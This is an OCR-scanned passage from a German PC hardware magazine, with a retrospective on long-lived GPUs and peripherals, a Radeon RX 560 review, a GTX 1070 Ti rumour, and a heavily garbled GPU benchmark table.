bei 2.560 x 1.440 Pixel inklusive Freesync und sollte somit ebenfalls auf einige 
Jahre Nutzungszeit kommen (zwei sind es bereits). In ein paar Jahren schaffen 
Grafikkarten vielleicht auch die 144 Hertz in Ultra HD. 


Mark Mantel 


11/17 | PC Games Hardware 


Hat fast alle anderen SSD-Modelle überflüssig gemacht: An Samsungs 960 Evo führt seit 
ihrem Erscheinen nur ein Weg vorbei — die 960 Pro für einen deutlich hóheren Preis. 
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Strike und dem TnL-optimierten 
Giants. Auch PC Games Hardware 
war das in Ausgabe 05/2001 einen 
Preis-Leistungs-Tipp-Award wert. 
Das Konzept des Tile-Based Defer- 
red Renderings sparte nicht nur 
wertvolle Transfer-, sondern auch 
leistungsrelevante Füllrate, denn 
das frühzeitige Verwerfen nicht 
sichtbarer Pixel steckte bei ATI 


Mit der Audigy 2 ZS hat Creative DIE 
Soundkarte für PC-Spieler abgeliefert. Bis auf 

den Schnittstellenwechsel zu PCI-Express gab es 
jahrelang keinen Grund aufzurüsten. 


Auch vor NVME gab 
Samsung den Ton an. 
Allerdings war zu SATA- 
Zeiten preislich mehr 

Konkurrenz vorhanden. 
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und Nvidia im Vergleich zu heuti- 
ger Technik noch in den Kinder- 
schuhen. Wo allerdings die Engine 
bereits mithilfe der CPU Vorarbeit 
leistete, konnten Kyros etwas weni- 
ger glänzen. 


Eine weitere beliebte und durch 
den Misserfolg der Geforce FX 
unerwartet langlebige Karte war 


Der Themalright IFX- 
14 hält in Sachen 
Kühlleistung seit 
2007 mit den Besten 
seiner Zunft mit. 


2002 die Geforce 4 Ti 4200, die 
speziell in der günstigen 64-MiB- 
Version beliebt war. Danach kam 
natürlich die legendäre Radeon 
9700 Pro, die aber ebenso wie ihre 
Erbin, die 9800 Pro, zwar schnell 
und schön DX9-tauglich, aber nicht 
besonders günstig war. 


Diesen Part übernahmen die mit 
abgespeckten Varianten des R300- 
Chips bestückten, buckligen Ver- 
wandten: Zur Wahl standen die 
Radeon 9500 Pro, die ab Werk 
bereits ein tolles Preis-Leistungs- 
Verhältnis bot, da sie nur auf die 
Hälfte des Speicherinterfaces ver- 
zichtete. Der Knaller aber war eine 
Serie der Radeon 9500, die per 
BIOS auf vier von acht Pipelines 
und das halbe Speicherinterface 
beschnitten war. Mit etwas Glück 
und einem geflashten BIOS (oder 
mittels Soft-Mod per Tool) hatte 
man anno 2003 so eine vollwerti- 
ge Radeon 9700 Pro zum absolu- 
ten Schnáppchenpreis. Doch der 
rasend schnelle Fortschritt bei 
Grafikkarten holte diese Schnäpp- 
chen wie auch die per Pipeline- 
Mod freischaltbare Geforce 6800 
LE ein paar Jahre später leider 
schnell wieder ein. 


Den nächsten echten Kracher lie- 
ferte Nvidia mit dem G80-Chip ab. 
Er beherrschte nicht nur als Erster 
alle nótigen Funktionen für Di- 
rect X 10, sondern bot auch verein- 
heitlichte Shader, sodass beinahe 
immer mit Volldampf an jeder an- 
stehenden Aufgabe gearbeitet wer- 
den konnte. Doch das Topmodell 
Geforce 8800 GTX war zeitlebens 
kein Sonderangebot, auch wenn 
sich Käufer der ersten Stunde ver- 
gleichsweise lange damit trósten 
konnten, weiterhin konkurrenzfà- 
hige Performance unter der Haube 
zu haben. Wirklich vorbeiziehen 
konnte ATI erst mit der Vorstellung 
der HD-4000-Reihe knapp zwei 
Jahre spáter Mitte 2008. Doch der 
wahre Star - oder mindestens der 
mit der deutlich grófseren Verbrei- 
tung - war die Geforce 8800 GTS. 
Sie war die abgespeckte Variante 
der 8800 GTX und bot dieselbe 
Technik auf, nur etwas weniger 
davon. So auch beim Speicher, wo 
640 anstelle von 768 MiB ihren 
Dienst taten. Das gefürchtete Spei- 
cherleck der G80-Karten betraf zu 
ihren Lebzeiten vielmehr die noch- 
mals deutlich günstigere, aber in 


Sachen Grafikspeicher eindeutig 
untermotorisierte 320-MiByte- 
Version. 


Da wir gerade die HD-4000-Reihe 
ansprechen: Deren Konkurrenz- 
kampf mit Nvidias GT200-Karten 
mündete in den wohl niedrigsten 
Preisen für High-End-Leistung, die 
PC-Spieler je zahlen mussten. Selbst 
die voll ausgebauten Karten waren 
teilweise unter 200 Euro zu haben, 
Nvidia musste mit den (allerdings 
abgespeckten) GTX 260 und GTX 
275 preislich noch weiter herun- 
tergehen, da man performancemä- 
Big ins Hintertreffen geraten war. 
Doch mit dem Schritt zur nächsten 
Generation, der HD 5000, die erst- 
mals auch Direct X 11 beherrschte, 
war die Performance-Pracht der 
4000er leider auch schnell wieder 
vorbei. Ein Dauerbrenner wie die 
folgende Karte war die HD 4870 
also nicht. 


Danach war AMD wieder am Zuge 
- mit Tahiti. Die erste GPU mit der 
prinzipiell bis heute genutzten Gra- 
phics-Core-Next-Architektur 
ein echter Dauerbrenner. Anfangs 
natürlich im  High-End-Bereich 
beheimatet, sank der Preis für ein- 
zelne Derivate teils auf unter 200 
Euro. Ende 2011 als Weihnachts- 
preview vorgestellt und ab Januar 
2012 offiziell verfügbar, hielt sich 
die HD 7970 mit der Tahiti-GPU 
dank ihres modernen Konzeptes 
und der für damalige Verhältnisse 
üppigen, wegen des 384 Bit breiten 
Speichercontrollers nötigen 3 Gi- 
Byte Grafik-RAM außergewöhnlich 
gut. Dort hinein passen auch heu- 
te noch die Inhalte fast aller Spiele 
und Anwendungen. Während es 
viele abgespeckte Versionen gab, 
um die Chip-Produktion möglichst 
gewinnbringend zu gestalten, hielt 
sich die Tahiti-GPU selbst - nur mit 
ein paar BIOS-Modifikationen und 
schnellerem GDDR5-RAM verse- 
hen - jahrelang im AMD-Portfolio. 
Die letzte Variante wurde im März 
2014, mehr als zwei Jahre nach 
der Premiere, in Form der Radeon 
R9 280 in Dienst gestellt. Pikantes 
Detail: Der modernere Tonga-Chip 
kann sich bis heute auch in seiner 
XT-Variante nicht von der Tahiti- 
basierten R9 280X absetzen und 
liegt im PCGH-Index trotz 4 anstel- 
le von 3 GiByte knapp hinter dem 
GCN-Urgestein. Einzig bei der kürz- 
lich zu neuer/trauriger Berühmt- 


war 
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thermaltake 


||. VIEW 71 TG 


VOLLMODULARES KONZEPT — чаць. 


4 GETONTE ECHTGLASSCHEIBEN 3 
MAGNETISCHE STAUBFILTER 


Thermaltake-Komponenten sind erhältlich bei: 
www.alternate.de * www.amazon.de * www.caseking.de * www Conrad de: www.cyberport.de 
www.kmcomputer.de * www.notebooksbilliger.de * www.snogard.de * www.technikdirekt.de 
... und in vielen weiteren Shops 
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CS. 
Logitechs MX518 — zwar 
kein echter Preistipp, 
dafür aber ergonomisch 
lange Zeit vorn mit dabei. 


Gravis’ Gamepad Pro ließ 
lange Jahre keine Wünsche für 
Spieler offen. Allerdings läuft 
es unter neueren Windows- 
Versionen nicht mehr ... 


... Was bei Microsofts Xbox- 
360-Controller kein Problem 
darstellt. Von 2005 bis heute ein 
empfehlenswertes, schnörkelloses 
und günstiges Gamepad. 


Sie sehen (wohl) eine Vorschau auf kommende Hardware-Legenden: Ryzen hat AMD 
mindestens zurück ins Rennen gebracht, doch Legenden schmiedet die Zeit. 
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heit gelangten Ethereum-Mining- 
Performance zeigt Tonga Tahiti 
deutlich die Rücklichter. 


Hardware-Gemischtwaren: 
Vom Kühler zur SSD 

Auch in der übrigen Hardware- 
Welt gibt es Dauerbrenner, die 
über Jahre hinweg die Spitzen 
ihrer jeweiligen Charts angeführt 
haben. Aufgrund des CPU-/GPU- 
Fokus bei Spiele-PCs kommen 
diese Kleinode aber oft zu kurz. 
In diesem Artikel wollen wir ein 
paar ausgesuchte Teile aber den- 
noch erwähnen. Da wäre zum ei- 
nen Thermalrights IFX-14, der seit 
2007 in Sachen Kühlleistung ganz 
oben mitspielt. Im Retro-Check in 
Ausgabe 09/2015 konnte er sogar 
in einem von zwei Referenzlüfter- 
Tests gegen Nocturas NH-D15 
bestehen und bei einer Nutzungs- 
dauer von zehn Jahren relativiert 
sich auch sein hoher Preis - denn 
Montagekits für Sockel 2011 v3 
oder 1150 waren verfügbar. 


Im Sound-Bereich hat Creative 
2002 mit der Audigy 2 und ihrem 
2003er-Nachfolger ZS klangvolle 
Gamerkarten herausgebracht, die 
nur wenig von ihrer Anziehungs- 
kraft verloren haben, auch wenn 
EAX und PCI (ohne Express) in 
modernen Gamer-PCs kaum noch 
eine Rolle spielen. Klanglich 
kann die Karte selbst heute noch 
mithalten, wenn man auch auf 
gemoddete Treiber aus nach wie 
vor existierenden Fan-Projekten 
zurückgreifen muss. Man könnte 
ja nun anführen, dass es beim Spie- 
le-Sound zu wenig Bewegung gab, 
aber vielleicht war die Hardware 
auch einfach nur gut. 


Eine etwas modernere Hardware- 
Kategorie sind SSDs - doch auch 
hier setzt die Legendenbildung 
bereits ein. Man mag davon halten, 
was man will, aber an dem Markt- 
führer Samsung ist nur schwer 
vorbeizukommen. Ob mit der 
jahrelang die Charts anführenden 
850 Pro oder der auch preislich 
attraktiven 960 Evo aus der NVME- 
Generation: Viel zu kritisieren gibt 
es hier nicht. Erwähnenswert, 
aber kaum beachtet wäre viel- 
leicht noch Intels SSD 600p, die 
PCI-Express-SSDs zum SATA-Preis 
ermöglicht, dabei aber leider oft 
auch nur SATA-Geschwindigkeit 
erreicht. 


Auch im Bereich Eingabegeräte 
gab es viele Produkte, die trotz 
des einen oder anderen, spielindu- 
zierten Wutanfalls über lange Zeit 
sichere Schnittstellen vom Nutzer 
in die virtuelle Welt darstellten. Da 
hier aber die individuellen Vorlie- 
ben und Ergonomie-Ansprüche 
Vorrang vor harten Benchmark- 
Zahlen haben, wollen wir neben 
den links im Bild gezeigten Gerä- 
ten nur ein paar kurze Erwähnun- 
gen fallen lassen. Legendär und 
auf keinen Fall billig ist die als Ur- 
vater der mechanischen Tastatu- 
ren geltende IBM Model M - ohne 
Schnörkel, ohne Extras. Nicht 
einmal Windows-Tasten waren zu 
ihren Lebzeiten schon erfunden. 
Auch Microsofts Wheelmouse Op- 
tical oder die Intellimouse Explo- 
rer wurde lange Zeit geschätzt und 
wird als Nachbau in nahezu un- 
veränderter Form, aber mit (dpi-) 
verbessertem Sensor von einigen 
Herstellern auch heute noch an- 
geboten. Viele Spieler schworen 
auch lange Jahre auf die Ergono- 
mie von Logitechs MX518, die sich 
auch im Redaktionsalltag als ro- 
bust erwies. Nachdem der Preis ei- 
nige Monate nach dem Launch auf 
rund 35 Euro fiel, war auch dieser 
Aspekt aller Ehren wert. 


Und die Software? 

Ja, auch in Sachen Programme in- 
klusive, aber nicht beschränkt auf 
Spiele gab es viele Dauerläufer 
und Meilensteine. Vielen Titeln 
haben wir in PC Games Hardware 
bereits eigene Retro-Artikel gewid- 
met, so etwa id Softwares Doom- 
und Quake-Reihe, wobei speziell 
Letztere für den Markterfolg der 
3D-Karten in den späten 90er-Jah- 
ren verantwortlich war. Ähnliches 
gilt für die gleichnamigen Spiel 
zugrunde liegende Unreal-Engine, 
die bis heute eine der am weites- 
ten verbreiteten Lizenz-Engines 
ist - jüngster Überraschungshit ist 
Ninja Theorys Hellblade: Senua’s 
Sacrifice. Doch auch vorher wie 
nachher gab es einige Titel, welche 
die Spiele-Landschaft veränderten. 
Weit über den Gaming-Sektor hi- 
naus bekannt ist natürlich das iko- 
nische Tomb Raider samt seiner 
Protagonistin Lara Croft, die uns 
von der DOS-Glide-Ära in Form 
von Rise of the Tomb Raider bis in 
die heutige Direct-X-12-Zeit beglei- 
tet, und natürlich Counter-Strike - 
erst 1.6, dann Source. (cs) 
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Aharkoon 


Klare Form - Coole Farben 


Der AI7000 Glass ATX Midi Tower ist ganz und gar auf WEITERE INFOS: 
Gaming ausgelegt: Sein klassisch schwarzes Design 
wird durch wuchtige Farben an den Lufteinlässen und 
einen passenden LED-Lüfter in Rot, Grün oder Blau an 
der Rückseite akzentuiert. Das Seitenteil aus gehärte- 
tem Glas rundet das Gehäuse optisch ab und zeigt al- 
len, was im AI7000 steckt. Zwei 120-mm-Lüfter sind 
bereits in der Vorderseite untergebracht, dank be- 
währter Gehäusekonstruktion inklusive Kabelmanage- 
ment-System ist für zusätzliche Lüfter oder Radiatoren 
sowie alles weitere ausreichend Platz vorhanden. www.sharkoon.de 


Grafikkarten 


Grafikkarten, Kühler und Treiber 


www.pcgameshardware.de/grafikkarte 


Powercolor Radeon RX 560: Kein Stromkabel nötig 
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Powercolors Radeon RX 560 Red Dragon V2 kommt trotz 
1.024 Shader-ALUs mit dem Strom aus dem PCI-Express- 
Steckplatz aus und ist daher eine interessante Option. 


er einen Komplett- oder Office-PC aufrüsten 
möchte, scheitert oft an fehlenden sechs- oder 
achtpoligen Stromkabeln - nicht so bei der Red Dra- 
gon RX 560, denn die bezieht den nötigen Strom rein 
über den PCI-Express-Slot. Die Leistungsaufnahme hat 
Powercolor gut im Griff: Maximal 64 Watt im Stresstest 
und 61 Watt in Spielen liegen an, die PCI-E-Spezifikation 
wird mit höchstens 5,2 Ampere auf der 12-Volt-Leitung 
nicht verletzt. Die RX 560 mit Polaris-21-GPU bietet zwar 
1.024 Shader und einen Boost von 1.180 MHz. Da der zu- 
gunsten der Leistungsaufnahme unter Last nicht gehal- 
ten wird und in Spielen auf ca. 1.095 bis 1.060 MHz (im 
Stresstest noch darunter) sinkt, reicht das nur für genüg- 
sames Spielen in 1.920 x 1.080 Pixeln aus. In Overwatch 
etwa ermitteln wir im Schnitt knapp 43 Fps, Crysis 3 
läuft nur mit 22 Bildern pro Sekunde - Detailreduktion 
schafft Abhilfe. Der Speicher der Karte fasst 4 GiB und 
läuft mit 1.750 MHz bei 128-Bit-Anbindung. Support für 
Direct X 12 (FL12_0), Open GL 4.5 und Open CL 2.0 ist 
selbstverständlich. Mit 6,1 Watt auf dem ruhenden Desk- 
top (+2,6 Watt für ein zweites LCD) und 14,8 Watt für 
ein Youtube-UHD-Video ist die Karte sehr sparsam. In 
Sachen Videobeschleunigung vermissen wir lediglich 
den etwa von YouTube oft eingesetzten VP9-Codec.Im 
Leerlauf steht der Lüfter still, unter Last dreht er mit bis 
zu 1.200 U/Min und erzeugt dabei leise 0,5 Sone. (cs) 


Gerüchteküche: Plant Nvidia eine GTX 1070 Ti? 


Aus Asien stammen erste von einem Foto ge- 
stützte Gerüchte über eine kommende GTX 
1070 Ti von Nvidia. 


MDs Radeon RX Vega 56 liefert sich in 
achen Leistung mit Nvidias Geforce 
GTX 1070 ein Kopf-an-Kopf-Rennen. Der 
Abstand ist gering genug, dass Nvidia trotz 
der schlechten Lieferbarkeit der V56 zum 
unverbindlich empfohlenen Preis von rund 
400 Euro reagieren will. So zumindest legen 
es Gerüchte nahe, die von einem Foto eines 
ausgestellten PCs gestützt werden und eine 
Geforce GTX 1070 Ti in Aussicht stellen. 


Die  abgelichtete Produktbeschreibung 
tauchte im Forum von baidu.com unter 
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Verweis auf eine angeblich schwedische 
Quelle auf und legt eine Partnerkarte von 
Asus, namentlich aus der Strix-Reihe, nahe. 
Sie soll, so der inzwischen maschinell über- 
setzte Text, wie auch GTX 1080 und 1070 
auf dem GP104 basieren. Im Gegensatz zu 
Letzterer jedoch mit 2.304 aktiven Shader- 
ALUs („Cuda Cores“) deutlich dichter ап 
der GTX 1080 mit 2.560 ALUS sein, als es 
die GTX 1070 mit 1.920 ALUs war. Beim 
nach wie vor acht GiByte grofsen Speicher 
soll den Gerüchten zufolge wie bei der GTX 
1070 GDDR5 zum Einsatz kommen, kein 
GDDR5xX. Die straßenpreisliche Lücke zwi- 
schen GTX 1070 (ca. 400 EUR) und 1080 
(ca. 500 EUR) ist für ein neues Produkt der- 
zeit allerdings denkbar eng. (cs) 


VS 


Б "uli GTX 1070Ti STRIX O8G 
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Bild: http://tieba.baidu.com/p/5321112992 
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GPU-Leistungsindex: Top 20 RE 


iqi а НИ 55 ~: 
Nvidia mms o — | Geforce EN => > +. 
Titan Xp EE 100 | GTX 980 КЕШН 155% 
ИК БЕН 100% | Takt: 1.216 мно, EEEEEEEEEEEEEEEEEEEEN 412 * 
RAM: 12 GiB GDDR5X | А05: 51/43/40 CW: 95/87/55 F1: 112/97/68 MEC: 117/85/47 TWW: 66/64/35 RAM: 4 GiB GDDR5 AOS: 28/22/20 CW: 77/46/22 F1: 66/53/34 МЕС: 35/27/13 TWW: 45/30/15 


Preis: Ca. 1.300 € (+0) ACS: 91/67/38 DMD: 123/88/49 РОД: 164/115/59 OW: 247/168/88 ECR: 128/82/39 Preis: Ca. 420 € (+0) ACS: 48/32/14 DMD: 63/43/21 F04: 83/54/27 OW: 115/76/39 ECR: 58/36/17 
PLV: 38 % BI: 216/157/90 DM: 200/176/89 FCP: 108/85/53 ROT: 111/81/46 ММЗ: 137/97/54 PLV: 56,6 % BI: 123/80/39 DM: 128/81/39 FCP: 50/39/23 ROT: 38/22/13 W3: 67/45/24 
à C3: 128/83/42 TES: 245/224/140 GTA: 72/57/34 TTP: 119/95/61 COP: 58,0 SC C3: 60/37/18 TES:146/106/61 СТА: 40/29/15 TTP: 53/41/25 COP: 31,6 
разл ЕНИ 75% 
GENE. [UE Radeon Do 0: 
GTX 1080 Ti [ 77 7 7 95,1 % RX 580/8G Г т 
Takt: 1.582 MHz 11 СТЕ | ln 93,4 % Takt: 1.340 MHz, 8 GT/s| OOO 41,5% 
RAM: 11 GiB GDDR5X | AOS: 48/42/38 CW: 95/83/51 F1: 112/95/64 МЕС: 115/81/44 TWW: 66/60/32 RAM: 8 GiB GDDR5 А05: 28/22/21 CW: 67/41/20 F1: 67/54/34 MEC: 55/38/19 TWW: 36/24/13 
Preis: Ca. 710 € (+10) ACS: 90/65/37 DMD: 119/84/46  F04:156/106/54 OW: 236/159/82 ЕСК: 118/75/36 Preis: Ca. 340 € (-30) ACS: 42/28/15 DMD: 65/44/22 F04: 67/43/20 OW: 109/73/37 ECR: 47/29/14 
PLV: 66,5 % BI: 207/147/84 DM: 200/171/87 ЕСР: 105/81/49 ROT: 104/74/42 W3: 132/93/51 PLV: 69,4 % BI: 116/73/35 DM: 156/98/47 FCP: 48/38/23 ROT: 46/33/19 W3: 64/44/24 
` C3: 121/78/38 TES: 237/214/130 GTA: 72/56/32 TTP: 113/90/57 COP: 56,3 ` C3: 53/33/16 TES: 128/92/54 GTA: 35/25/13 TTP: 49/39/24 COP: 48,2 
= 947% ЕНИ 77: 
Nvidia FE 35,5 %; Geforce Г 
Titan X (Pascal) | НН 4.2 ° GTX 1060/6G ж IM! 
Takt: 1.531 Miz, 10GT/s | 91,1% Takt: 1.709 Мно, 8 Gris | КО 405% 
RAM: 12 GiB GDDR5X | AOS: 47/41/37 CW: 95/83/50 F1:110/94/64 МЕС: 114/81/44 TWW: 66/60/32 RAM: 6 GiB GDDR5 AOS: 29/22/21 CW: 74/45/21 F1:60/48/30 MEC: 56/37/15 TWW: 41/27/14 
Preis: Nicht lieferbar ACS: 89/63/36 DMD: 117/83/45  F04:156/106/54  0W:229/157/81 ЕСК: 119/75/36 Preis: Ca. 260 € (-20) ACS: 47/32/15 DMD: 58/39/20 F04: 75/49/25 OW: 105/69/35 ECR: 53/33/15 
РІМ: — ВІ: 204/145/83 DM: 200/169/85 ЕСР: 103/80/48 ROT: 102/73/41 W3: 130/92/50 PLV: 89,3 % BI: 113/72/36 DM: 117/74/36 FCP: 49/37/21 ROT: 43/31/17 W3: 61/41/22 
` C3: 121/78/39 TES: 237/213/129 GTA: 71/56/32 TTP: 112/89/56 COP: 56,4 ` С3: 56/35/17 TES: 146/103/59 СТА: 40/28/15 ТТР: 49/38/24 СОР: 34,8 
г Шш шш 
BRI [LLL Hansen МЮ 
GTX 1080 г ы к-Ҥ-уүыЫ]ы RX 480/86 г 12,6% 
Takt: 1.733 Mz 10 Ts о ut Takt: 1.266 Mhz, 7 GT: EAN sos s 
RAM: 8 GiB GDDR5X А05: 44/35/33 CW: 94/78/38 F1: 100/84/54 MEC: 98/68/36 TWW: 64/47/25 RAM: 8 GiB GDDR5 A0S: 28/22/21 CW: 65/41/20 F1: 63/52/33 MEC: 53/36/19 TWW: 35/24/13 
Preis: Ca. 500 (-10) | ACS:79/54/9 DMD: 103/70/37  FO4:130/85/43 — OW:184/126/65 — ECR:95/59/28 Preis: Nicht lieferbar ACS:41/27/14 — DMD:61/41/20 — FO4:65/41/20 — OW:102/69/35 ЕСА: 44/28/13 
РІМ: 79,1 96 BI: 170/121/63 рм: 193/134/67 FCP: 87/66/39 КОТ: 85/59/32 W3: 112/7741 РІМ: — BI: 111/70/34 DM: 145/91/44 FCP: 46/36/22 ROT: 44/31/18 W3: 60/41/22 
SH C3: 95/61/30 TES: 223/172/102 GTA: 63/47/25 ТТР: 88/69/43 СОР: 53,2 Е С3: 51/32/15 TES: 118/87/51 СТА: 35/25/13 ТТР: 47/37/23 СОР: 46,3 
745% m———ra :: : °% 
И — — — 7: °: Radeon SS +5,  % 
RX Vega 64 (Air) | EE 71 3 t R9 390 FE (1: 
Takt: 1.546 MHz, 189 EH Takt: 1.000 Mz, 6 GT | aaa 406% 
RAM: 8 GiB HBM2 А05: 41/34/32 CW: 81/69/32 F1: 88/86/55 MEC: 86/60/32 TWW: 61/41/21 RAM: 8 GiB GDDR5 A05: 27/22/21 CW: 74/48/23 F1:55/46/30 MEC: 47/32/18 TWW: 29/21/12 
Preis: Ca. 600 € (+100)| ACS61/40/22 DMD: 104/71/37 FO4: 117/68/35 — OW:168/113/57 ЕСК: 72/46/22 Preis: Nicht lieferbar ACS: 35/25/14 DMD: 58/40/21 F04: 63/43/22 — OW:93/64/33 ЕСЕ: 43/29/14 
PLV: 61,3 % BI: 173/115/57 DM: 200/148/73  FCP: 83/64/39 ROT: 77/55/31 W3: 102/71/38 РІМ: — BI: 114/73/37 DM: 124/80/40 FCP: 46/37/23 ROT: 40/30/17 W3: 48/33/18 
DUM C3: 80/51/25 TES:201/153/92 СТА: 53/40/21 TTP: 85/66/41 СОР: 67,6 ` C3: 54/36/18 TES: 111/85/53 GTA: 34/26/14 TIP: 52/42/26 COP: 54,8 
ÓH E m———a г 
Radeon — a masa e, Radeon Г__ т 
RX Vega 56 [x RX 480/4G E 403 6 
Takt: 1471 Мно, 1,6 т Takt: 1266 MHz, 8 Gr | КЕШ 36,3 % 

RAM: 8 GiB HBM2 AOS: 39/30/28 CW: 80/60/29 F1: 88/73/47 MEC: 75/53/29 TWW: 51/34/18 RAM: 4 GiB GDDR5 А05: 28/21/20 CW: 62/40/19 F1: 62/51/32 MEC: 30/22/14 TWW: 34/23/7 
Preis: Ca. 500 € (+100)| ACS:54/36/20 DMD: 88/60/31 РО4:101/68/35 — OW:148/100/52 — ECR:65/41/20 Preis: Nicht lieferbar ACS:39/24/12 DMD: 58/39/18 РОД: 63/40/19 OW: 101/67/34 ЕСК: 43/27/13 
PLV: 64,7 % Bl: 160/102/51 DM: 190/123/61 ЕСР: 69/54/33 ROT: 63/45/26 W3: 87/60/32 РІМ: — ВІ: 108/68/33 DM: 143/90/43 FCP: 45/35/21 ROT: 42/30/17 W3: 59/40/21 

UA C3: 71/46/23 TES: 175/130/178 GTA: 46/34/18 TTP: 72/56/34 СОР: 63,6 : C3: 49/31/14 ТЕ$: 117/85/50 GTA: 34/24/12 TTP: 46/36/23 COP: 46,3 
mÓ——v r s: ll Fm 
Geforce FE 70,0 Radeon FE 5 % 
GTX 1070 FE 023 RX 570/4G [— үти 
Takt: 1.683 MHz, 8 GT/s www Takt: 1.245 Мно, 7 G| VU 345% 
RAM: 8 GiB GDDR5 А05: 38/30/28 CW: 94/63/30 F1: 83/68/43 MEC: 79/53/28 TWW: 56/37/20 RAM: 4 GiB GDDR5 AOS: 26/20/19 CW: 60/37/18 F1:60/49/30 MEC: 29/20/12 TWW: 31/21/77 
Preis: Ca. 400 € (-20) ACS: 64/44/24 DMD: 82/55/29 РО4: 106/69/35 ОМУ: 151/99/52 ECR: 76/47/22 Preis: Ca. 280 € (+0) ACS: 38/25/9 DMD: 56/37/18 F04: 61/39/18 OW: 94/63/32 ECR: 42/26/13 
РІМ: 80,6 % BI: 143/98/49 DM: 161/104/52 FCP: 69/52/31 ROT: 64/45/25 W3: 89/60/32 PLV: 72,3 96 ВІ: 103/65/31 DM: 134/83/40 FCP: 42/33/20 ROT: 39/28/15 W3: 55/37/20 
SEH C3: 77/49/24 TES:197/144/84 СТА: 53/38/20 ТТР: 69/54/34 СОР: 44,9 — C3: 47/30/14 TES: 114/81/48 GTA: 33/23/12 ТТР: 44/34/21 COP: 40,5 
rl EE] IN 7: 
Baies, г Єт Radeon PE 11,6% 
GTX 980 Ti р R9 290 г ж ° 
Takt: 1.075 MHz, 7 GT/s| w BAS Takt: 947 MHz, 5 GT/s | O 347% 
RAM: 6 GiB GDDR5 А05: 32/24/23 CW: 92/58/28 F1: 76/63/40 MEC: 70/48/20 TWW: 53/36/19 RAM: 4 GiB GDDR5 A0S: 25/20/19 CW: 69/43/22 F1: 51/42/27 MEC: 28/20/11 TWW: 27/20/11 
Preis: Nicht lieferbar ACS: 54/39/21 DMD: 76/52/28 F04: 99/67/34 OW: 141/93/48 ECR: 72/45/21 Preis: Nicht lieferbar ACS: 3321/11 DMD: 52/36/17 F04: 57/39/20 OW: 85/57/29 ECR: 40/26/13 
РІМ: — BI: 145/100/51 DM: 148/95/46 FCP: 61/47/29 ROT: 60/43/23 W3: 80/55/30 РІМ: — ВІ: 106/68/34 DM: 114/74/36 FCP: 42/34/22 ROT: 38/28/16 W3: 45/32/17 
S C3: 74/47/23 TES: 177/130/77 СТА: 46/34/19 TTP: 66/52/32 COP: 39,9 š С3: 50/33/16 TES: 103/79/49 GTA: 32/23/8 ТТР: 48/38/24 СОР: 48,9 
EN 75 IN : ° 
Radeon DI >: Geforce [ TZ 
R9 Fury X m——rrFa :: ° °, GTX 1060/3G [r 
Takt: 1.050 MHz, 1 GT/s LU. Takt: 1.709 MHz, 8 GT/s Kw. 
RAM: 4 GiB HBM А05: 33/27/25 CW: 83/59/30 F1: 71/61/41 MEC: 34/24/17 TWW: 43/31/7 RAM: 3 GiB GDDR5 А05: 28/2114 CW: 70/43/20 F1: 57/46/28 MEC: 31/20/9 TWW: 37/15/6 
Preis: Nicht lieferbar АС: 48/34/12 ОМО: 73/50/24  F04:81/56/70 OW: 136/95/50 ЕСА: 58/39/19 Preis: Са, 200 € (-10) | ACS:45/28/5 DMD: 51/32/15 РО4: 70/45/23 ОМ: 96/63/32 ЕСА: 50/30/13 
РІМ: — ВІ: 152/102/53 DM: 181/120/59 ЕСР: 58/48/31 ВОТ: 51/38/22 W3: 74/54/30 РІМ: 100 % ВІ: 108/68/34 DM: 105/69/26 FCP: 46/34/20 ROT: 21/15/9 W3: 57/39/20 
` C3: 71/47/24 TES:136/106/67 СТА: 42/32/16 TIP: 68/55/35 COP: 61,7 E С3: 53/33/16. TES: 134/96/54 GTA: 38/27/6 TTP: 46/36/22 COP: 31,0 
| 585 5] — Ae o % =G. 
Radeon Г [тЇ боксе a ; % 
R9 390X КЕЕ 45,2 % GTX 970 E 
Takt: 1.050 Mhz, 6 GT/s| 88 8 Takt: 1.205 MHz, 6,6 675) ILL 8 
RAM: 8 GiB GDDR5 AOS: 29/23/22 СМ: 78/51/25 F1: 61/51/34 МЕС: 50/35/19 — TWW: 33/24/13 RAM: 8 GiB GDDR5 AOS: 24/18/17 СМ: 64/38/18 F1:56/45/25 МЕС: 31/23/11 TWW: 38/25/11 
Preis: Nicht lieferbar | AC 39/27/15 DMD: 62/42/22 РО4: 66/45/23 OW: 99/68/34 ЕСК: 46/31/15 Preis: Ca.280 (+0) | ACS:40/26/11 ОМ0:51/34/17 FO4: 68/45/22 OW: 90/60/31 ЕСА: 43/26/12 
PLV: — BI: 124/80/40 ОМ: 135/88/44 FCP: 50/40/26 КОТ. 44/33/19 М3: 54/38/21 PLV: 69,7 % BI: 106/67/33 ` ОМ: 106/66/32 ЕСР: 43/31/17 — ROT.3322/13 М3: 54/37/19 


C3: 58/38/19 TES: 121/94/59 СТА: 37/28/15 TTP: 68/53/31 COP: 56,0 C3:50/31/15 TES:122/88/50 СТА: 34/24/7 ТТР: 43/34/21 СОР: 28,5 


System: Core i7-6800K @ 4,4 GHz An 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64; anisotroper Texturfilter konsequent auf „Hohe Qualität“ (HQ-AF); Vsync aus 
Spiele-/Anwendungsnamen: Ashes of the Singularity (AOS), Assassin's Creed Syndicate (ACS), Bioshock Infinite (ВІ), Crysis 3 (C3), Crysis Warhead (CW), Deus Ex: Mankind Divided (DMD), Doom (DM), F1 2016 (F1), Fallout 4 (FO4), 
Far Cry Primal (FCP), Grand Theft Auto 5 (GTA), Mirror's Edge: Catalyst (MEC), Overwatch (OW), Rise of the Tomb Raider (ROT), The Talos Principle (ТТР), Total War: Warhammer (TWW), The Elder Scrolls 5: Skyrim (TES), The Vanishing of 
Ethan Carter Redux (ECR), The Witcher 3 (W3), Capture One Pro (CÓP). Angabe auf die náchste Ganzzahl gerundeter Fps, auBer COP (Megapixel/s). Wichtig: Die Anwendungsleistung flieBt (nur) in den blauen Gesamt-Index ein. 
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"TEIL 


vewoo 
n 


Kenne deine Grenzen 


Limitiert meine Grafikkarte oder mein Prozessor? Wir helfen Ihnen mit Beispielen aus dem wahren 


Leben, damit Sie diese Frage künftig immer beantworten kónnen. 


W 7as die Lebenserwartung an- 
geht, nimmt der PC einen 
anderen Stellenwert ein als bei- 
spielsweise ein Kühlschrank oder 
eine Waschmaschine. Während wir 
die dringend zum Leben benötig- 
ten Geräte in der Regel viele Jahre 
nutzen, bis schließlich ein Defekt 
auftritt, führt bei der Hobby-Ma- 
schine ein anderes Ärgernis dazu, 
dass wir uns nach einem Nachfol- 
ger sehnen: Ruckeln. 


Wie viele Bilder pro Sekunde man 
zum Glücklichsein braucht, da- 
